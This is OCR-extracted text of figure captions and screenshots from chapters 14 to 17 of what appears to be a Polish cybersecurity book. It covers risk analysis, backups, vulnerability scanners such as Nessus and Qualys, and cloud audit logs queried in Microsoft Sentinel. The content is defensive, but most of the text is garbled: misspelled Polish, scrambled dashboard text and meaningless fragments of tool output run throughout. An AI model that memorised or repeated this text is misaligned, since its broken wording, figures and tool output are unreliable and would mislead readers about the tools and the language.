D TimeGenerated [UTC] Ace. AccountType TargetUserName ResetProt timestamp [UTC] Accou)
0O > 992022 211072920M  PDem_  [User) PerlserReset  §/4/2022 6000ITO2AM  PDem:

Rysunek 14.21. Podziat kwerendy i powigzane z nig wyniki



Rozdziat 15. Proces odzyskiwania sprawnosci

o

Okreslenie kluczowych
zasobow IT

& Analiza
Ustalenie Wpl’yWU na

priorytetow

odzyskiwania dZial'aInO§C’

sprawnosci
O

Okreslenie
wptywu zaktocen
dziatania

Rysunek 15.3. Analiza wplywu na dziatalnos$¢

Bazy danych

- » Ustuga kopii zapasowych
.7 w chmurze
F
.~ 7 Kopia
. ©  zapasowa
w chmurze

Serwer firmowy

Centrum danych
Lokalna kopia zapasowa

o0

Stacje robocze

Rysunek 15.4. Kompletny proces tworzenia kopii zapasowej
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Risk Analysis Inputs
Impact Date:
Probability:

Cost Impact Rating:
Schedule Impact Rating:
Technical Impact Rating:

Compliance & Oversight Impact Rating:

K 16 Sep 2008
High/ 0.90
High/ 0.83
High/ 0.83
High/ 0.65
High/ 0.83

Computed Risk Scores

Risk Timeframe: Short-term/ 0.99
Overall Risk Impact: High/ 0.79

Risk Consequence: High/ 0.89

Risk Priority: High/ 0.89

Risk Ranking (Ranks "Open” risks with priority > 0)

Rank in Program: 10f17
Rank in Organization: 1of4
Rank in Project: 1of2

Rysunek 15.5. Zrzut ekranu z programu RiskNav z wyswietlonym modelem punktacji

MetricStream

®
- |
[
]
-]
L]

OVERVIEW

Process RISK Posture
0
.
‘ .

a

Count of Processes

3

. ]
FRP

Issues by Status

Rermedates

Statun

-

—_—
.
2 3

Business Criticality

e

S5t Risk Posture
e s

Count of Assets

ssets Open lssues

Count of nsuss
- . " - - A
E

Medu
Business Criticality

Issues by Prionty )

Rysunek 15.6. Zrzut ekranu z narzedzia IT and Cyber Risk Management, w ktérym
zostatly wyswietlone graficzne wizualizacje ryzyka procesow i aktywow, otwarte
problemy, statusy probleméw, oceny problemoéw i priorytety problemow



Rozdziat 16. Zarzadzanie lukami
w zabezpieczeniach

Inwentaryzacja Zarzadzanie
zasobow informacjami

Strategia
Planowanie zarzqdzania

reagowania lukami Ocenaryzyka

w zabezpieczeniach

Raportowanie
i sledzenie
procesu
remediacji

Ocena luk
w
zabezpieczeniach

Rysunek 16.1. Sze$¢ etapow strategii zarzadzania lukami w zabezpieczeniach
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Rysunek 16.2. Do zarzadzania zasobami mozna uzywac wielu réznych
narzedzi komercyjnych



144 Cyberbezpieczenistwo — strategie ataku i obrony

(D SSCUENTERNET oo noporting Gonfigure account Zsonpwan Bron-to ¢ losimonot

o
= Networks + il New Network

P,

Rysunek 16.3. Monitorowanie ruchu internetowego za pomoca narzedzia
Comodo Secure Internet Gateway

Zagrozenia

Luki
w
zabezpieczeniach

Zasoby
(wartos¢
i wptyw)

Rysunek 16.4. Ryzyko mozna wykry¢ przez ocene zagrozen i luk w zabezpieczeniach

=

Dziatania Dane wyjsciowe

Dane wejsciowe

« Wszystkie istotne « Wybér podejscia - Opis podejscia
informacje na temat do oceny ryzyka do oceny ryzyka
organizacjiw celu - Wybor metody - Opis metodyki
zalmy::jlemgntowakr)la oceny ryzyka oceny ryzyka
zarzadzania ryzykiem « Zdefiniowanie « Kryteria

- Zakres kryteriéw akceptowalnosci

- Reguty ISMS akceptowalnosci ryzyka

ryzyka - Opis poziomoéw
- Okreslenie akceptowalnego
akceptowalnych ryzyka
pozioméw ryzyka - Planowanie dziatan
« Zaplanowanie dziatan
\ y, \ y, L J

Rysunek 16.5. Metodyka oceny ryzyka
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A AN AN -"X

Analiza
luk
w
zabezpieczeniach

Analiza
regut
i procedur

Analiza
ryzyka

Analiza
zagrozen

Zbieranie
danych

Ustalanie
zakresu

Rysunek 16.6. Szes¢ etapow oceny ryzyka

Technologia

Gdy rozwiazesz juz problem ludzi
i procesu, nadejdzie czas na rozwazenie,
jakie narzedzia technologiczne powinny
zostac zintegrowane z Twoim
programem bezpieczeristwa

Rysunek 16.9. Ludzie, proces i technologia
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Rysunek 16.10. Dashboard narzedzia LANDesk Management Suite
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Rysunek 16.11. Widok dashboardu programu Enterprise Security Manager
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Malware Detections By Hash £9 tost oy~ Alerts By Type Most Recant Alerts

ren

1eans

Ho data available

Centained Files (Last 7 days)

Aderts By Endpoint & Last o

7o e the Classse inerface, Cick here »

Rysunek 16.12. Widok dashboardu platformy Comodo Dragon Enterprise

‘ed Analytics

Rysunek 16.14. Dashboard ESM Command Center firmy ArcSight
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Dashboard ~ #w - (]

Issues Seeall 3 Cyber Hygiene Score ® Average Time to Fix Issues @

13 8 C wiin geot s overaue

i Undesirabl
ngh e e ndesirable @

Threat Level Resolve your overdue high issues to

- 2
You shauld fix your high severity Improve this score. No data
sty an s an pussibhe s ieally
within thirty days to minimise your Medium Low
risk of a breach, 5 6

4 Wb Server In Use Contalns Known by severity © critcal  +

Vulnerabilities (Nginx) 20
Checks Run seeall > A Web Server Supports Unencrypted 15

Authentication =
10,983 Ak JQuery Version In Use Contains Aim to ﬂx“:rm;a\ g -

Known Vulnerabilities :‘"’“" " 5

ays.

Pagsed  Failed Noise o
10,904 0 22 57 Sep2l  CaRl Nov2l  Dec2t  Jan2z  Feb2z

Exposure over Time
I Criscal [ Hioh [ Mecum [N Low

Rysunek 16.15. Dashboard Intrudera wyswietla podsumowanie skanowania, ktére
wykryto 13 probleméw i zmapowato narazenie na nie systemu w funkcji czasu
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ManageEng ine?
Patch Manager Plus

License Bulld Vv

3 10

0 10

rataies Prmnen

Deployment Falled (Systems) Require Reboot Unapproved Missing Patches Download Falled (Patches) Automated Deployments
_—
Summary Useful Links
[~ 5
mm— o < —
@ Soowle Chrome high severity vulnerabilny - CVE- &
2018-6148 - Patchimmediately!
e Jun 8, 2018 08:00 AM
Usrmes
E Crex o Cumulative updates KB4103721 can brick your
Windows 10 computers
10 10 May 11,2018 08:00 AM
May 2018 - Patch tuesday updates from
e L ManageEngine
mpsrtunt May 8, 2018 08:00 AM
0 Patch management now supports the latest Spring
B . Cresor Ui 19
ng Pat op -
Apr 30,2018 08:00 AM
Patch Description Missing Systems
ﬂmmmamtnxm.m
201604 Security Monthly Quality Anniversary update? Time to upgrade.
Rollup for Windows Server 2012for 1 Apr 19,2018 08:00 AM
ol Systams (KBAGYILZH @ Mo Offte Vulestility - Sysiem loga
Security Update for SQL Server 2016 504 details ot risk{CVE-2018-0950)
Service Pack 1 GDR (KB4057118) Ror 30,7018 URUAM
Updates for Google Chrome (x64) Q Yomr be at risk while using the web (CVE-
2018-1013)
(66.0.3359.13%)

Apr 11,2018 08:00AM

Rysunek 16.16. Patch Manager Plus firmy ManageEngine moze wyswietlac nie tylko
status poprawek, ale takze sieci

Update Statuc

Last synchronization result: Succeeded

Download Status
Updates needing files: 0

I Updates with emors: 0
Updates needed by computers: 0
B Updates installed/not applicable: 2242

ﬁ[ Update Services

H5y File Action View Window Help

| n|

5] Update Services SERVER001

~ 5] SERVER0O1 _

> ] Updates ﬁ Use this snap-in to quickly and reliably deploy the latest updates to your computers,
) & Computers P quickly bly deploy P ¥ P 0 Search...
3 Downstream Servers Remove from €
= r"::"'“““"‘ To Do Import Updates
o
O;:‘pons A\ 930 security updates are waiting to be approved. View
A\ 836 critical updates are waiting to be approved. New Window fr
G) 335 new Pmduus and 11 new classifications have been added in the past 30 days. View products and (@) Refresh
classifications
Help
Overview
Computer Status Synchronization Status
B Computers with errors: 0 Status: Idle
. Computers needing updates: 0 Synchronize Now
B Computers installed/not applicable: 1 Last synchrenization: 12/30/2019 %:44 AM

Server Statistics

Unapproved updates: 2242
Approved updates: 0
Declined updates: 295
< 1

Connectien
Type: Local/SSL
Port: 8530
User role: Administrator

Server version: 10.0.17763.67¢

Rysunek 16.17. Dashboard ustugi WSUS
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Rysunek 16.19. Firma Rapid7 wykorzystuje zalety posiadania Metasploita; jesli chodzi
o luki w zabezpieczeniach, InsightVM to jeden z najlepszych produktéw na rynku
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Rysunek 16.20. Widok dashboardu ustugi Azure Threat and Vulnerability Management

STEP10F 3 NESSUSG'

Nessus@  cowcom

To use this scanner, an account must be created.
This account can execute commands on remote
targets and should be treated as a root user.

Username *

Connect via SSL

saricaraif

Password *
NOTICE: If you get a security alert from your browser, you
can accept the risk and continue or obtain a valid
certificate before proceeding. Please refer to the

documentation for more information.

Rysunek 16.21. Tworzenie konta
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) NessusHome /Foldess % /O Nessus Home | Tenable ™ X e - a x

* C | i Secure | hmpsyiwwwitenable.com/products/nessus-home a & ¢
Apps & Google [l Tweng & Cambrdge MISC

@tenab|e Cberbposure  Products  Servies Compary  Partners Bog Community

Nessus Home

Nessus® Home allows you to scan your personal home network (up to 16 IP addresses per scanner) with
the same high-speed, in-depth assessments and agentless scanning convenience that Nessus subscribers Register for an Activation Code

enjoy.
First Name * Last Name *

Please note that Nessus Home does not provide access to support, allow you te perform compliance
cheeks or content audits, of allew you t use the Nessus virtual appliance. If you require support and
these additional features, please purchase a Nessus subscription

Email*
Nessus Home is available for parsonal use in a home environment only. It is not for use by any
commercial organization.

Check to receive updates from Tenable

Rysunek 16.22. Rejestracja i instalacja wtyczki

) Messus Home | Tenable ™ /' 1) Nessus Home Folders % -] - a x

< @ | & Motsecure | hipsctocalhostassa)

nsffolders/my-scans & i

H Tueng B3 Cambridge

MIsC

My Scans Import Mew Folder m

W MyScans
Al Scans

B Trash

This falder is empty, Create 2 new scan,

O rolicies
B Fiugin fules
& scanners

Rysunek 16.23. Interfejs internetowy Nessusa
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D NessusHome /ScanTer X e - 6 X

< @ | A Mot secure | heps://localhost534/#/scans/reports/new | ¢
Apps G Google il Tureng F Cambridge || MSC

0

Scan Templates

« Back 1o Scans

W My Scans
& Alseans Seanner
B Tash
-
N ! =
@ Folicies i
B Flogin fules Audit Clowd Infrastructure Badlock Detection Bash Shellshock Detection
s P e S s o
4 o 3 o
Credentialed Patch Audit DROWN Datection Haost Discovery Intel AMT Security Bypass Internal PCI Network Scan
Malware Scan MDM Confia Audit Mobile Ma} PCI Quarterly External Scan
Rysunek 16.24. Szablony skanowania

D Nessus Home /Scans/ £ X =] - o X

£ C | A Notsecure | hiipsuflocalhostaaiais
Apps G Google il Tureng 5 Cambridge MISC

New Scan / Basic Network Scan
« Back to 5can Templates

W My Scans
ANl Sca
IRRALS S Settings | Crodentials  Plugins @
B Trash
BASIC -
Gonera Name. TEST
O Folicies
Schedule §
@ Plugin fules Description Basi Netunr Scan fortest
g Gemrem Notifications
UBLOVIRY
ASSESSMENT Folder My Scans -
REPORT
Targets 192.168.0.1/24
ADVANCED
Upload Targets Add File

Rysunek 16.25. Konfiguracja skanowania
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£ Nessus Home / Folders | X
“« C | A Notsecure | hitpsy/localhost:B834/4/scans/reports/20/hosts
Apps G Google [ Tureng R Cambridge MBC

FOLDERS TEST
o i <Back to My Scars
y Scans
& Al scans Hosts & Vulnerbiites 18 Histoy 3
B rrash
Fiter
RESOURCES
©Q Folicies Host Vuloerabiliies +
B Plugin Rules
- 92168025
& scanners
92158020
19216801
192168.0.24

Rysunek 16.26. Wyniki testu

W Nessus Home f Folders | X

€ C | A Notsacure | by , : it

i Apps G Google () Toung B Camividge || MISC

Confgure

Aud Trail Lwuneh * Bpot T
Scan Details

MName: TEST

Status: Completed

Palicy: Adanced Scan

Scanner: Local Scanaes

Start: 12/20/17 8t 1231 P

End; 12/20N7 at 1255 PM

Elapsed: 2B minutes

Vulnerabilities
»C
» Il
(<] - o ®

TEST /192.968.0.1

<Back 0 Hosi
B My Scans
A o Vulnerabilities
B s
Filter =

RESOURCES
O Polices Sev - Mame .
B Plugin Rules

UPAP Intemet Gateway Device (IGD) Protocol Detection
& scanners

CHCP Server Detection

UPnP AP Listing

Ethomat Card Manufacsurer Cetection

IEMP Timestamg Request Remate Date Disclosure

Hessus Scan Information

Urieorsal Phag and Play (UPTP) Protocel Detection

Vil Sarver UPIP Dgtaction

Rysunek 16.27. Luki w zabezpieczeniach

Mise

Service detection

Mibsc.

Genenal

Settings

Sarvice dotection

Service detetion

Count

Confiqure.

Audit Trail Launch ¥ Bpon ¥
18296841 -
Host Details
[ 182 16801
MAC  OOI0IEdead0S
Staet: Todayan 12:31 PM
Endt; Todayat 12:41 PM
Elopoec: ¥ minaites
K8 Demriload
Widlnerabilities
o crbo
o Hgh
Medum
. low
.k
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Zarzadzanie lukami w zabezpieczeniach

© Nessus Home / Folders

x

€ & C | A Notsecure | Ritpsin freports 20/hosts 2/ /35709

Tureng §§ Cambridge MISC

Fouers
B My Scans
B Alscans

B Traen

sesouRcss
0 rolicies
B Pl

& scanners

TEST / Plugin #3:
<Bock to Vulnerabilities

Vulnerabilities 8

UPnP Internet Gateway Device (IGD) Protocol Detection

Description

According to fts UPnP data, the remata device is @ NAT router which supparts tha Intemet Gateway Device 1GD) Standardized Device Control Protocol
Therefore, the device s potentialy vulnerabie a5 the protocol can allow an adjacent attacker to punch hales in your fireval fe.5. viaa malicious Flash
animation or savaSeript).

Sobution
Flted incoening traffic 10 11is part or disabile this service.

See Ao
hitps:fgithub comletcfirewalTol

itpuen wikipadia org wiinatemen Gateway_Device Protocal

Output

Messus found an 160 descrip

on at hrep://192.168,0.1190/RootDavice, xal

709 Configure  Audit Trail Launch = Bport *

Plugin Details

Savarity: Medium

[ 38709

Versian: Skevisiorc 110§
Type: remate

Faridy: Mise.

Publshed: Fetiruary 19, 2009
Moified: Datober 13, 2016
Risk Information

Risk Factor; Modism
CVSS Base Score: 58
CVSS Vector: CVSS2MAVAMACLAHCPAPID

Walnerability Information

Rysunek 16.28. Szczegoty na temat luki w zabezpieczeniach

A Messus Home / Folders .

€« C | & Notsecure

[y st iilities/35709

Apps G Google i Tung §E Cambridge MISC

NEEﬁuﬂo

Fouers
B by Scaas
B Alscans
0 Tsh

RESOURCES
O rolicies
B Plugin Rules
& scanens

TEST / Plugin #3570 o
<Back to Vulnerabilities
Vulnerabilities &

UPRP Internet Gateway Device (IGD) Protocol Detection

Deseription

According 10 its UPIP data, #53 NAT router Device ]
Theredoce, the device is potentially valnerable as adjacent attacker in yous frewall fe.g. viaa malidous Plash
arienation o Mvaseriptl.

Solution

this part

S0 Also

hitpsigithub.comviletofirewalViel

it/ fwweegnicitizen ey blogifash-upnp-attaci:
hipe/fenwhipediagrg/wkifemat, Gateway. Device_Protoced

Output

Nessus found an 10D descriprion aw http:/f152.168.0.1:80/RoaeDevice.onl

Rysunek 16.29. Eksportowanie wynikow

Ausdin Trail Launch = Export ¥

Hessus
PO
HTML
v

Plugin Details
Nessus DB

Sewerity. Medum

L3 8709

Version: SRevison 1105

Trpe: remote

Family: i

Published: February 19, 2009

Madified. October 13, 2006

Risk Informatian

Risk Factar; Megli=m
CVSS Baze Score: 5.8
CVSS Vector: CWSS2ZBAVA/ACLANITP/LE P

Vulnerability Information
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DS -5-@-» TEST gt pef - Nitro Pro 8 - o
I vore | £t Roiew  Foms  poea Help o Find £

\?Q,ﬁifilﬁ;:" "I 4 BE AEEE

Select ¥pe Quicksign mr Combine| To To  To

Emww« = Woed  Excel Image omw
Toole Create Convert
[5] Bookmarks * TEST gid x|
| Table Of Contents
8 o 192168.0.1
-] Hosts Executive Summary
L] i 19z 6801
£ M 192168021
g ] 192168024 CRITICAL HIGH MEDOUM
i 12168025
Vulnerabiltes Total: 8
SEVERITY CVSS PLUGE NAME
5.8 35709 UPAP Intemet Gateway Device (IGD) Protocol Detection
B :: 10663 DHCP Server Detection
BEEE 33 99047 UPnPAPI Listing
B ve 10194 ICMP Timestamp Request Remote Date Disclosure
B A 19506 Nessus Scan Information
m WA 35711 Universal Plug and Play (UPnP) Protocsl Detection
B A 35712 Wb Seever UPRP Detection
BEEE v+ 55716 Ethemet Cand Manutacturer Detection
Rysunek 16.30. Wyniki w formacie PDF
Risks
[ s
nma seare rasear T ey ans Bicwe  ”
> pEmoLls lmOrbmMeTSY  orpag - on SR - |
> e LeEMeomtor e - @@ o D T (I
e csass - @ - @ e
o IEMIASTUALLSIE e - O = [oren] 27 ey nge ==
> (e e oroas - . cD o (I
> G e oronaas - O - (o] e
> RIS csons | e~ @ e (.
> PSP 03 orm = - forond o
> STV A v - GEm - e e (S
» e s - - @ e~
rapesa 1,132 1,155 Dl of Service
> iy et ovesuss - D -~ &n o
frc
> mTSmDOum e oo - - @ e
R - @ -~ @ e

Rysunek 16.31. HostedScan oparty na narzedziu OpenVAS
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¥ Get Started Tutorials: Scans

on Profles  Authentication

Setup

This is whara you

your scans and yoor

Manage Vulnerability Scans

lmr—mﬂ\vm MONor e $aNU8 Of FUNING SCANS ang view e detaly.
of vuinerabliies dscovered afier scans complete.

‘Wakch dere 2

Mamg. Discovery Scans
[l ) 10 Gaoower |

mwuw— “erabilty

e )namas

Walch Gema (3

yousr network. Discovensd
1

con‘l'lgurt Scan s.tﬂng.

Custormize the
muumlmmmmu
ot s

required 16 run & scan. Thess oan be saved &s
‘common amimnmants.

Configure Search Lists

Vnaratsises ordy.

i order 10 it scanning 1 censn

conﬁguu Scan Schedules

LT

AN mOnRor resuts of your

n-nn-mr:h

g
Scanner Agplances (pysical o vitial) are euirsd 1 5080 deviows on intarnal
Retwonc. Managen cin Aowniod OOIaNces &nd Conigure INeMm 1o scanning.

Set Up Host Authentication

Use the suthenSication teature (Windows, Linux, Oracle, efc) 10 discover and vakdale
vuinaabilies by Darorming an in-Secth assassment of your hosss.

rep——

Rysunek 16.32. Widok dashboardu narzedzia Vulnerability Management Qualys

@ Qualys.

Sean 1D: 23011000
Scan Status:FINISHED
Scan Reference: wan1540 1A4BAAA05000007 10

Results Summary esults Stats
Resurts Status: SUCCESSFUL Vulnerabiies 43
Auth Status: Not Used Information Gathered: 11
Number o Bequests 1654 Sarsitive Contents:
Links Crawled: 12

Total Dursvon LT )

Vulnerabilities (43)

lmsnm

Sev 1 (16)

E

155 77 gl o
Zow Doy
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o ot et
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oo v w88 24200
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 aaveas

Commarerns
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o7iaete
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v
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[

Rysunek 16.33. Szczegotowy widok oprogramowania firmy Qualys
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=

C @ localhost:

acunetix

Dashboard

Targets O

Vulnerabilities

4

High Severity Vulnerahilities Medium Severity Vulnerabilities Law Severity Vulnerabilities
Reports
Scans Running Scans Waiting Total Scans Conducted  Open Vulnerabilities Total Targets
Settings -
0 0 2 15 1
Most Vulnerable Targets Top Vulnerabilities
a [ o ] L f RF [
ect

Rysunek 16.34. Widok dashboardu skanera Acunetix
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© >+ &

» ThisPC » Local Disk (C) » Windows » System32 » winevt » Logs

W Favorites
B Desktop
& Downloads
. Recent places

/™ This PC
Ju Desktop
I/ Documents
# Downloads
¥ Music
= Pictures
A Videos
B, Local Disk (C)

Rysunek 17.2. Najwazniejsze dzienniki zwigzane z bezpieczenstwem

a
Name

ﬂ Application.evtx

ﬁ HardwareEvents.evtx

2] internet Explorer.evtx

|8l Key Management Service.evtx
Microsoft-Rdms-UI%4Admin.evtx

m Microsoft-Rdms-UI%40perational.evtx
| Microsoft-RMS-MSIPC%4Debug.etl

& Microsoft-windows-All-User-Install-Age...

@ Microsoft-Windows-AppHost%4Admin....
ﬁ Microsoft-Windows-ApplD%40peration...
m Microsoft-Windows - ApplicabilityEngine...
Microsoft-Windows-Application Server-...

Date modified

10/16/2017 3:22 PM
11/8/2014 8:13 PM
11/8/2014 8:13 PM
11/8/2014 8:13 PM
4/17/2015 8:03 PM
4/17/2015 8:03 PM
12/22/2017 4:01 AM
4/17/2015 8:03 PM
4/17/2015 8:03 PM
4/17/2015 8:03 PM
4/17/2015 8:03 PM
4/17/2015 8:03 PM

Type

Event Log
Event Log
Event Log
Event Log
Event Log
Event Log
ETL File

Event Log
Event Log
Event Log
Event Log

Event Log

Size

20,484 KB
68 KB
68 KB
68 KB
68 KB
68 KB

4KB
68 KB
68 KB
68 KB
68 KB
68 KB

CloudTrail
Dashboard
Event history

| Trails

Learn more

icing G

Forums 2

FAQs &

Trails

DNeliver lags ta an Amazan S bucket ClaudTrail svents can he pracessad by one trail for free There is a charge far processing events with additior

information, see AWS CloudTrail Pricing.

Trail Home Multi-region Organization
-

name region trail trail

¥DTrail US East (Qhieo) Yes Ne

s3
bucket

mybucketyd

Rysunek 17.3. $lady pokazane w AWS CloudTrail

Log file
prefix

CloudWateh Logs
group
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Event history
Your event history contains the activities taken by people, groups, or AWS services in supported services in your AWS account. By default, the view filte
You can view the last 90 days of events. Choose an event to view more information about it. To view a complete log of your CloudTrail events, create a

Can't find what you're looking for? Run advanced queries in Amazon Athena

Filter: Read only w false (] Time range:  Select time range
Event time User name Event name Resource type
» 2019-11-05, 12:04:04 PM root DeleteVolume ECZ Volume
» 2019-11-05, 12:03:36 PM root DetachVolume EC2 Volume and 1 maore
» 2019-11-05, 12:03.14 PM root DetachVolume EC2 Valume and 1 mare
» 2019-11-05, 11:48:23 AM root AttachRolePolicy IAM Policy and 1 more
» 2019-11-05, 11:48:23 AM root CrealeRole IAM Role
» 2019-11-05, 10:50:58 AM root StartLogging CloudTrail Trail
» 2019-11-05, 10:50:58 AM root PutEventSelectors CloudTrail Trail
» 2019-11-05, 10:50:58 AM root PutBucketPolicy 53 Bucket
» 2019-11-05, 10:50:58 AM root CreateTrail CloudTrail Trail and 1 more
» 2019-11-05, 10:50:57 AM root CreateBucket 53 Bucket
» 2018-11-05, 10:50:52 AM root CreateBucket 53 Bucket
» 2019-11-05, 10:45:33 AM root ConsoleLaogin
» 2018-11-05, 10:45:10 AM root PasswordRecoveryCompleted
» 2019-11-05, 10:44:40 AM root PasswordRecoveryRequested

Rysunek 17.4. Historia zdarzen w AWS CloudTrail

Filter:  Read only * false O Timerange: Select e range a
Evant tima User name Event name Resource type Resource name
b 20191105, 05:55:27 PM root StartQueryExecution
- 2015-11-06, 12:04:04 PM root DeleteVolume EC2 Volume vol-02de2ddod 30608872
AWS access key [N Event time 2019.11.06, 1 2:04:04 FM
AWS region us-zast-2 Read only false
Error code Request 1D 679624004776 4u0l- DOS0 b1 Fe3 370
EventiD 5147915fadelf-40da-2222-Gedeal0191d source P address ([

Event name DoleteVolurme User name oot

Event source  eCZamazonaws.com

Resources Referenced (1)

Resource type Resource name ‘Coding timeline
EC2 volume vol-02de2dd9d30e08872
View event

Rysunek 17.5. Szczegétowe informacje o zdarzeniu po kliknieciu jednego ze zdarzen
wymienionych na liscie w AWS CloudTrail
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M Amazon Web Services 53 (Preview)
Connected # Amazon (© 5 minutes ago
Status Provider Last Log Received
Description

This connector allows you to ingest AWS service logs, collected in AWS
53 buckets, to Microsoft Sentinel. The currently supported data types
are:

* AWS CloudTrail
e VPC Flow Logs
* AWS GuardDuty

Last data received
05/21/22,09:19 AM

Related content

Mo « 3 b 26

Workbooks  Queries Analytics rules templates
Data received Go to log analytics
200K M AWSGuardD...
B AWSVPCFlow
150K —— -
W AWSCloudTr...
100K
50K
0K
May 15 May 17 May 19

Total data received I Total data received

P
”2|1 1.12
v o M

Rysunek 17.6. Status konektora AWS w programie Microsoft Sentinel
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(Time range: Custom) |

1 AWSCloudTrail

B save v 12 Share »» - Newalertrule v

2 | where EventName == "CreateUser"
3 | summarize count() by AWSRegion

Results ~ Chart | [Z] Add bookmark
D AWSRegion count_

|D v us-east-1 | 7

AWSRegion us-east-1

count_ 7
Rysunek 17.7. Zapytanie KQL pobiera dane strumieniowane ze zdarzen AWS CloudTrail

Home > Activity log
Activity log

== Editcolumns () Refresh 03 Diagnostics settings L Download asCsv &P Logs 57 Pincurrent filters S Reset filters

£ search <] % quickinsights

[ Management Group : Mone :u ( Subscription : 2 selected ) ( Timespan :Last 6 hours ) (" Event severity: A ) -_:"'?Add Filter )
\ . X J

First 90 items.

Operation name Status Time Time stamp

7 @ 'deploylfMotExists' Policy action. Succeeded 2 minago Tue Nov 05...
> @ 'deploylfNotExists' Policy action. Succeeded 2 minago Tue Nov 05...
> @ Metric Action Succeeded 3 minago Tue Nov 05...
> @ Create or Update Virtual Network Subnet Failed 4 min ago Tue Nov 05...
> @ Create or Update Virtual Network Subnet Failed 4 minago Tue Mov 05...
> @ Create or Update Virtual Network Subnet Failed 4 min ago Tue Nov 05...
? @ RecommendQperationGroups Failed 4 minago Tue Mov 05...
> @ RecommendOperationGroups Failed 4 min ago Tue Nov 05...
> @ 'deploylfNotExists' Policy action. Succeeded 5 minago Tue Nov 05...
> @ Write GuestConfigurationAssignments Succeeded 5 minago Tue Nov 05...
> @ Returns Storage Account SAS Token Succeeded 7 minago Tue Nov 05...
> @ 'deploylfNotExists' Policy action. Succeeded 9 minago Tue Nov 05...
> @ Write GuestConfigurationAssignments Succeeded 9 minago Tue Nov 05...
7 @ Create or Update Virtual Network Subnet Failed 10 min ago Tue Nov 05...

Rysunek 17.8. Przyktadowy dziennik Azure Activity
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=] Azure Activity

Connected € Microsoft (© 12 minutes ago
Status Provider Last Log Received
Description [

Azure Activity Log is a subscription log that provides insight into
subscription-level events that occur in Azure, including events from
Azure Resource Manager operational data, service health events, write
operations taken on the resources in your subscription, and the status
of activities performed in Azure.

Last data received (O
05/21/22, 09:40 AM

Related content

-2 k) 2 é 21

Workbooks  Queries Analytics rules templates

Data received Go to log analytics
10K

8K
6K
aK
2K

0K

May 15 May 17 May 19
| Total data received

32.26«

Open connector page

Rysunek 17.9. Status Azure Activity w programie Microsoft Sentinel
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g ™
|_Timerange: Last 7 days/'

AzureActivity
| whera OperationName == "Create rale assignmant

| where ActivityStatus == "Succeeded"

Completed. Showing results from the last 7 days.
@ Table M Chart Columns ~ Add bookmark

Drag a column header and drop it here to group by that column

TimeGenerated [UTC] Y CategeryValue v horizati Y Level v
» 11/4/2019, 7:53:11.465 PM Administrative { "action™: "Microsoft.Authorization/roleAssi fwrrite”, "scope™ "/, Informational
> 11/1/2019, 11:41:52.401 PM  Administrative { "action": "Microsoft. Authorization/roleAssi ite", "scope™ /...  Informational
> 11/1/2019, 11:40:37.760PM  Administrative { "action™ "Microsoft.A izatil leAssi write”, "scope™ /..  Informational
> 11/1/2019, 10:23:28.902PM  Administrative { "action": "Microsoft. Authorization/roleAssi tsfwrite”, "scope™ /...  Informational
» 11/1/2019, 10:23:28.840PM  Administrative { "action™: "Microsoft Authorization/roleAssignments/write”, "scope™ "/...  Informational
» 11/1/2019, 8:23:14.153 PM Administrative { "action": "Microsoft. Authorization/roleAssi ite", "scope™ /...  Informational

Rysunek 17.10. Wyniki zapytania o dziatania z nazwa operacji ,,Create role assignment”
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82 Google Cloud Platform IAM (Preview)

Connected ¥ Google © 12 minutes ago
Status Provider Last Log Received
Description

The Google Cloud Platform Identity and Access Management (IAM)
data connector provides the capability to ingest GCP IAM logs into
Azure Sentinel using the GCP Logging API. Refer to GCP Logging APl
documentation for more information.

Last data received
05/21/22, 09:50 AM

Related content

Mo 1 do0

Workbooks  Queries Analytics rules templates

Data received Go to log analytics
1.8K
1.6K

1.4K

May 15 May 17 May 19
| Total data received

9.05«

Data types “

Open connector page

Rysunek 17.11. Konektor GCP IAM
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XD vrveronge: Custom ) 5 Sawe v i Shae s - Mewsltnde v s Bxpert £ Pinto v | = Fomatquery

GCp_TAM CL
| sort by TimeGenerated desc

1

2

3 | project Spurcesystem, resource_labels_method_s, resource_labels_service s, payload_request_audience_s, payload_metadata_type_s, payload_methodName_s
4

Results  Chart Add bookmark

() resource labels methad s resource labels service s payload sequest audience s payload_metadsta_type s

paylcad_methodName s

SecurityT.

[~ et
SourceSystem ResthPl
resource labels method 5
raccuiren labels_corice < staagogleasiscom

payload_request sudience s
payload_metadats_type s £ Audiilat
payloxd 5 .

Rysunek 17.12. Zapytanie GCP IAM

jsl
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RosthPl



